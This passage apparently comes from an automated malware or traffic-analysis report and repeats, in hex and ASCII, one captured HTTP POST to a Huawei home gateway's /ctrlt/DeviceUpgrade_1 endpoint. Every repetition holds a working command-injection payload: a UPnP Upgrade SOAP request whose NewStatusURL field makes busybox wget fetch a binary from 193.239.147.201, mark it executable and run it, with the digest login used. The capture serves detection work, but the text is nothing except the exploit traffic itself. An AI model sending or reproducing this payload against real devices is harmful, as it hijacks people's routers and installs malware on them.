63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 